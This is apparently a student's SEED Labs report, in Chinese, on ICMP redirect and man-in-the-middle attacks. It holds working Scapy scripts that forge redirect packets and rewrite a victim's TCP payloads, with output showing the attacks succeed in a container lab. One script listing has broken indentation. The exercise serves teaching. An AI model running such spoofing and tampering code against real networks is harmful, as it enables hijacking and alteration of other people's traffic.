Lab3 ICMP_Rdirect　　57118208 吴文婷

Task1 Launching ICMP Redirect Attack

1. 编写 ICMP 重定向程序 icmp_redirect.py，代码如下：

```
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "10.9.0.111"
# The enclosed IP packet should be the one that # triggers the redirect message.
ip2 = IP(src = "10.9.0.5", dst = "192.168.60.5")
send(ip/icmp/ip2/ICMP())
```

2. 使用mtr -n 192.168.60.5 命令查看 victim 被攻击前的路由，结果如下：

```
                              My traceroute  [v0.93]
4231d6ff1f9a (10.9.0.5)                                  2021-08-03T07:32:15+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                   Packets               Pings
 Host                            Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                     0.0%    49    0.5   0.2   0.1   2.4   0.3
 2. 192.168.60.5                  0.0%    48    0.3   0.2   0.1   0.9   0.2
```

可见经过了正确的路由器。

3. 受害者 ping 192.168.60.5，同时攻击者运行攻击程序 icmp_redirect.py。

使用mtr -n 192.168.60.5 命令查看 victim 被攻击后的路由，结果如下：

```
                              My traceroute  [v0.93]
4231d6ff1f9a (10.9.0.5)                                  2021-08-03T07:44:55+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                   Packets               Pings
 Host                            Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.111                    0.0%    33    0.2   0.2   0.1   0.8   0.2
    10.9.0.11
 2. 10.9.0.11                     0.0%    33    0.3   0.2   0.1   0.5   0.1
    192.168.60.5
 3. 192.168.60.5                  0.0%    33    0.1   0.3   0.1   0.5   0.1
```

可见icmp 重定向攻击成功。

Question1: 不能使用icmp 重定向攻击定向到远程主机。

攻击代码如下：

```
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "192.168.60.6"
# The enclosed IP packet should be the one that # triggers the redirect message.
ip2 = IP(src = "10.9.0.5", dst = "192.168.60.5")
send(ip/icmp/ip2/ICMP())
```

运行攻击代码后 victim 路由如下：

```
                           My traceroute  [v0.93]
4231d6ff1f9a (10.9.0.5)                               2021-08-03T07:54:31+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                Packets               Pings
 Host                         Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                  0.0%     7    0.1   0.2   0.1   0.5   0.1
 2. 192.168.60.5               0.0%     6    0.3   0.2   0.1   0.3   0.1
```

Question2: 不能使用icmp 重定向攻击定向到同一网络中不存在的主机。

攻击代码如下：

```
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "10.9.0.22"
# The enclosed IP packet should be the one that # triggers the redirect message.
ip2 = IP(src = "10.9.0.5", dst = "192.168.60.5")
send(ip/icmp/ip2/ICMP())
```

运行攻击代码后 victim 路由如下：

```
                           My traceroute  [v0.93]
4231d6ff1f9a (10.9.0.5)                               2021-08-03T07:57:27+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                Packets               Pings
 Host                         Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                  0.0%    17    0.2   0.2   0.1   0.4   0.1
 2. 192.168.60.5               0.0%    17    0.4   0.2   0.1   0.4   0.1
```

Question3: 参数为 0 表示允许恶意路由器发送重定向报文，参数改为 1 后攻击失败。但实验参数改为 1 后重定向攻击依旧成功。

```
sysctls:
        - net.ipv4.ip_forward=1
        - net.ipv4.conf.all.send_redirects=1
        - net.ipv4.conf.default.send_redirects=1
        - net.ipv4.conf.eth0.send_redirects=1
```

```
                           My traceroute  [v0.93]
4231d6ff1f9a (10.9.0.5)                               2021-08-03T08:04:23+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                Packets               Pings
 Host                         Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.111                 0.0%     7    0.1   0.2   0.1   0.4   0.1
 2. 10.9.0.11                  0.0%     7    0.2   0.4   0.2   0.5   0.1
 3. 192.168.60.5               0.0%     6    0.4   0.3   0.1   0.5   0.1
```

Task2 Launching the MITM Attack

1. 禁用恶意路由器的 IP 转发，命令如下：

```
root@39ca6c04c989:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
```

2. 编写 MITM 攻击程序 mitm.py，代码如下：

```
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
 newpkt = IP(bytes(pkt[IP]))
 del(newpkt.chksum)
 del(newpkt[TCP].payload)
 del(newpkt[TCP].chksum)

if pkt[TCP].payload:
    data = pkt[TCP].payload.load
    print("*** %s, length: %d" % (data, len(data)))

# Replace a pattern
    newdata = data.replace(b'seedlabs', b'AAAAAAAA')

send(newpkt/newdata)
 else:
     send(newpkt)
f = 'tcp and src host 10.9.0.5 and dst host 192.168.60.5 and dst port 9090'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

3. 在目标 container 中运行命令 nc -lp 9090 启动服务器监听，在 victim 中运行命令 nc 192.168.60.5 9090 连接服务器，可见通信正常。

```
root@7eb6a09340a4:/# nc -lp 9090

bilibili
```

```
root@4231d6ff1f9a:/# nc 192.168.60.5 9090

bilibili
```

4. 攻击者重复 Task1 中的攻击步骤，之后恶意路由器运行攻击程序 mitm.py，victim 与 服务器通信，结果如下

```
.
Sent 1 packets.
*** b'seedlabs\n', length: 9
.
Sent 1 packets.
.
```

```
Sent 1 packets.
*** b'AAAAAAAA\n', length: 9
.
Sent 1 packets.
```

```
Sent 1 packets.
*** b'bilibili\n', length: 9
.
Sent 1 packets.
```

```
Sent 1 packets.
*** b'wow\n', length: 4
.
```

```
root@4231d6ff1f9a:/# nc 192.168.60.5 9090
seedlabs
bilibili
seeeeeed
wow
seedlabs
```

```
root@7eb6a09340a4:/# nc -lp 9090
AAAAAAAA
bilibili
seeeeeed
wow
AAAAAAAA
```

可见victim 发送的 seedlabs 被篡改为 AAAAAAAA

Question4: 捕获的数据包方向是 10.9.0.5->192.168.60.5，即 victim 到服务器的方 向，因为攻击者篡改的是 victim 发送给服务器的数据包。

Question5:

1. 编写 MITM 攻击程序 mitm.py，代码如下:

```python
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("*** %s, length: %d" % (data, len(data)))

        # Replace a pattern
        newdata = data.replace(b'seedlabs', b'AAAAAAAA')

        send(newpkt/newdata)
    else:
        send(newpkt)

f = 'tcp and ether src host 02:42:0a:09:00:05 and dst host 192.168.60.5 and dst port 9090'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

2. 恶意路由器运行攻击程序 mitm.py，victim 与服务器通信，结果如下：

```
root@4231d6ff1f9a:/# nc 192.168.60.5 9090
first
seedlabs
bilibili
seedlabs
,
```

```
root@7eb6a09340a4:/# nc -lp 9090
first
AAAAAAAA
bilibili
AAAAAAAA
,
```

```
root@39ca6c04c989:/volumes# mac_mitm.py
LAUNCHING MITM ATTACK.........
.
Sent 1 packets.
.
Sent 1 packets.
*** b'first\n', length: 6
.
Sent 1 packets.
*** b'seedlabs\n', length: 9
.
Sent 1 packets.
*** b'bilibili\n', length: 9
.
Sent 1 packets.
*** b'seedlabs\n', length: 9
.
Sent 1 packets.
*** b',\n', length: 2
```

可见过滤器使用MAC 地址攻击同样成功。

但选择 MAC 地址的方法更好，因为使用IP 地址时，恶意路由器会将自己发出的数据包检测，

再次发送篡改数据包，因此会不断发送大量数据包，而使用MAC 地址时，恶意路由器只会转发数据包